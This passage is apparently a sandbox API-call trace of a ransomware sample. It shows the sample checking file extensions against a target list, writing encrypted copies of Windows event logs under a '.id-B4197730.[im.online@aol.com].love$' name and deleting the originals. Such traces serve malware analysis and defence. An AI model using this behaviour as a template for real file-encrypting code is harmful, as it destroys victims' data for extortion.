lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0118.276] WriteFile (in: hFile=0x398, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x152, lpOverlapped=0x0) returned 1 [0118.276] SetEndOfFile (hFile=0x398) returned 1 [0118.277] CloseHandle (hObject=0x398) returned 1 [0118.279] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0118.279] SetEndOfFile (hFile=0x348) returned 1 [0118.280] CloseHandle (hObject=0x348) returned 1 [0118.280] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0118.280] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 1 [0118.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0118.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0118.281] lstrlenW (lpString=".doc") returned 4 [0118.281] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0118.281] lstrlenW (lpString=".docx") returned 5 [0118.281] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0118.281] lstrlenW (lpString=".pdf") returned 4 [0118.281] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0118.281] lstrlenW (lpString=".xls") returned 4 [0118.281] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0118.281] lstrlenW (lpString=".xlsx") returned 5 [0118.281] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0118.281] lstrlenW (lpString=".ppt") returned 4 [0118.281] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0118.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0118.281] lstrlenW (lpString=".zip") returned 4 [0118.281] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0118.281] lstrlenW (lpString=".rar") returned 4 [0118.281] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0118.281] lstrlenW (lpString=".bz2") returned 4 [0118.281] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0118.281] lstrlenW (lpString=".7z") returned 3 [0118.281] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0118.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0118.281] lstrlenW (lpString=".dbf") returned 4 [0118.281] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0118.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0118.281] lstrlenW (lpString=".1cd") returned 4 [0118.281] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0118.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0118.282] lstrlenW (lpString=".jpg") returned 4 [0118.282] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0118.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0118.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0118.282] lstrlenW (lpString=".doc") returned 4 [0118.282] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0118.282] lstrlenW (lpString=".docx") returned 5 [0118.282] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0118.282] lstrlenW (lpString=".pdf") returned 4 [0118.282] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0118.282] lstrlenW (lpString=".xls") returned 4 [0118.282] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0118.282] lstrlenW (lpString=".xlsx") returned 5 [0118.282] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0118.282] lstrlenW (lpString=".ppt") returned 4 [0118.282] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0118.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0118.282] lstrlenW (lpString=".zip") returned 4 [0118.282] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0118.282] lstrlenW (lpString=".rar") returned 4 [0118.282] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0118.282] lstrlenW (lpString=".bz2") returned 4 [0118.282] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0118.282] lstrlenW (lpString=".7z") returned 3 [0118.282] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0118.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0118.282] lstrlenW (lpString=".dbf") returned 4 [0118.282] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0118.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0118.282] lstrlenW (lpString=".1cd") returned 4 [0118.282] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0118.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0118.282] lstrlenW (lpString=".jpg") returned 4 [0118.282] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0118.283] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0118.283] lstrlenW (lpString="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 43 [0118.283] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0118.283] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=69632) returned 1 [0118.283] CloseHandle (hObject=0x348) returned 1 [0118.283] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20 [0118.283] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0118.283] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0118.283] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0118.283] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0118.283] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0118.284] GetLastError () returned 0x0 [0118.284] ReadFile (in: hFile=0x348, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x11000, lpOverlapped=0x0) returned 1 [0118.547] WriteFile (in: hFile=0x398, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11010, lpOverlapped=0x0) returned 1 [0118.550] ReadFile (in: hFile=0x348, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0118.550] WriteFile (in: hFile=0x398, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x12a, lpOverlapped=0x0) returned 1 [0118.550] SetEndOfFile (hFile=0x398) returned 1 [0120.372] CloseHandle (hObject=0x398) returned 1 [0120.464] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.464] SetEndOfFile (hFile=0x348) returned 1 [0120.472] CloseHandle (hObject=0x348) returned 1 [0120.472] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0120.473] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 1 [0120.473] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0120.473] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0120.473] lstrlenW (lpString=".doc") returned 4 [0120.473] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0120.473] lstrlenW (lpString=".docx") returned 5 [0120.473] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0120.473] lstrlenW (lpString=".pdf") returned 4 [0120.474] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0120.474] lstrlenW (lpString=".xls") returned 4 [0120.474] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0120.474] lstrlenW (lpString=".xlsx") returned 5 [0120.474] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0120.474] lstrlenW (lpString=".ppt") returned 4 [0120.474] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0120.474] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0120.474] lstrlenW (lpString=".zip") returned 4 [0120.474] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0120.474] lstrlenW (lpString=".rar") returned 4 [0120.474] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0120.474] lstrlenW (lpString=".bz2") returned 4 [0120.474] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0120.474] lstrlenW (lpString=".7z") returned 3 [0120.474] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0120.474] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0120.474] lstrlenW (lpString=".dbf") returned 4 [0120.474] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0120.474] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0120.474] lstrlenW (lpString=".1cd") returned 4 [0120.474] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0120.474] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0120.474] lstrlenW (lpString=".jpg") returned 4 [0120.474] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0120.474] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0120.474] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0120.474] lstrlenW (lpString=".doc") returned 4 [0120.475] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0120.475] lstrlenW (lpString=".docx") returned 5 [0120.475] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0120.475] lstrlenW (lpString=".pdf") returned 4 [0120.475] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0120.475] lstrlenW (lpString=".xls") returned 4 [0120.475] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0120.475] lstrlenW (lpString=".xlsx") returned 5 [0120.475] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0120.475] lstrlenW (lpString=".ppt") returned 4 [0120.475] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0120.475] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0120.475] lstrlenW (lpString=".zip") returned 4 [0120.475] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0120.475] lstrlenW (lpString=".rar") returned 4 [0120.475] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0120.475] lstrlenW (lpString=".bz2") returned 4 [0120.475] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0120.475] lstrlenW (lpString=".7z") returned 3 [0120.475] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0120.475] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0120.475] lstrlenW (lpString=".dbf") returned 4 [0120.475] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0120.475] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0120.475] lstrlenW (lpString=".1cd") returned 4 [0120.475] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0120.475] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0120.475] lstrlenW (lpString=".jpg") returned 4 [0120.475] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0120.476] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0120.476] lstrlenW (lpString="Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 47 [0120.476] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0120.490] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=69632) returned 1 [0120.490] CloseHandle (hObject=0x2d8) returned 1 [0120.490] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20 [0120.490] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.490] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0120.490] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.490] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.490] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0120.501] GetLastError () returned 0x0 [0120.501] ReadFile (in: hFile=0x2d8, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x11000, lpOverlapped=0x0) returned 1 [0120.510] WriteFile (in: hFile=0x398, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11010, lpOverlapped=0x0) returned 1 [0120.512] ReadFile (in: hFile=0x2d8, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0120.512] WriteFile (in: hFile=0x398, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x132, lpOverlapped=0x0) returned 1 [0120.512] SetEndOfFile (hFile=0x398) returned 1 [0120.515] CloseHandle (hObject=0x398) returned 1 [0120.517] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.517] SetEndOfFile (hFile=0x2d8) returned 1 [0120.519] CloseHandle (hObject=0x2d8) returned 1 [0120.519] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0120.519] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 1 [0120.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0120.528] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0120.528] lstrlenW (lpString=".doc") returned 4 [0120.528] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0120.528] lstrlenW (lpString=".docx") returned 5 [0120.528] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0120.528] lstrlenW (lpString=".pdf") returned 4 [0120.528] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0120.528] lstrlenW (lpString=".xls") returned 4 [0120.528] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0120.528] lstrlenW (lpString=".xlsx") returned 5 [0120.529] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0120.529] lstrlenW (lpString=".ppt") returned 4 [0120.529] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0120.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0120.529] lstrlenW (lpString=".zip") returned 4 [0120.529] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0120.529] lstrlenW (lpString=".rar") returned 4 [0120.529] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0120.529] lstrlenW (lpString=".bz2") returned 4 [0120.529] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0120.529] lstrlenW (lpString=".7z") returned 3 [0120.529] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0120.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0120.529] lstrlenW (lpString=".dbf") returned 4 [0120.529] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0120.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0120.529] lstrlenW (lpString=".1cd") returned 4 [0120.529] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0120.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0120.529] lstrlenW (lpString=".jpg") returned 4 [0120.529] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0120.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0120.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0120.529] lstrlenW (lpString=".doc") returned 4 [0120.529] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0120.529] lstrlenW (lpString=".docx") returned 5 [0120.529] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0120.529] lstrlenW (lpString=".pdf") returned 4 [0120.529] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0120.529] lstrlenW (lpString=".xls") returned 4 [0120.530] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0120.530] lstrlenW (lpString=".xlsx") returned 5 [0120.530] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0120.530] lstrlenW (lpString=".ppt") returned 4 [0120.530] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0120.530] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0120.530] lstrlenW (lpString=".zip") returned 4 [0120.530] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0120.530] lstrlenW (lpString=".rar") returned 4 [0120.530] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0120.530] lstrlenW (lpString=".bz2") returned 4 [0120.530] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0120.530] lstrlenW (lpString=".7z") returned 3 [0120.530] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0120.530] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0120.530] lstrlenW (lpString=".dbf") returned 4 [0120.530] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0120.530] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0120.530] lstrlenW (lpString=".1cd") returned 4 [0120.530] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0120.530] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55 [0120.530] lstrlenW (lpString=".jpg") returned 4 [0120.530] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0120.531] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0120.531] lstrlenW (lpString="Microsoft-Windows-International%4Operational.evtx") returned 49 [0120.531] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0120.538] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=69632) returned 1 [0120.538] CloseHandle (hObject=0x394) returned 1 [0120.538] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 0x20 [0120.538] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0120.538] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0120.538] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.538] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.538] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0120.587] GetLastError () returned 0x0 [0120.587] ReadFile (in: hFile=0x394, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x11000, lpOverlapped=0x0) returned 1 [0120.605] WriteFile (in: hFile=0x2d8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11010, lpOverlapped=0x0) returned 1 [0120.607] ReadFile (in: hFile=0x394, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0120.608] WriteFile (in: hFile=0x2d8, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x136, lpOverlapped=0x0) returned 1 [0120.608] SetEndOfFile (hFile=0x2d8) returned 1 [0120.608] CloseHandle (hObject=0x2d8) returned 1 [0120.612] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0120.612] SetEndOfFile (hFile=0x394) returned 1 [0120.614] CloseHandle (hObject=0x394) returned 1 [0120.614] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0120.614] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx")) returned 1 [0120.615] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0120.615] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57 [0120.615] lstrlenW (lpString=".doc") returned 4 [0120.615] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0120.615] lstrlenW (lpString=".docx") returned 5 [0120.615] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0120.615] lstrlenW (lpString=".pdf") returned 4 [0120.615] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0120.615] lstrlenW (lpString=".xls") returned 4 [0120.615] lstrcmpiW 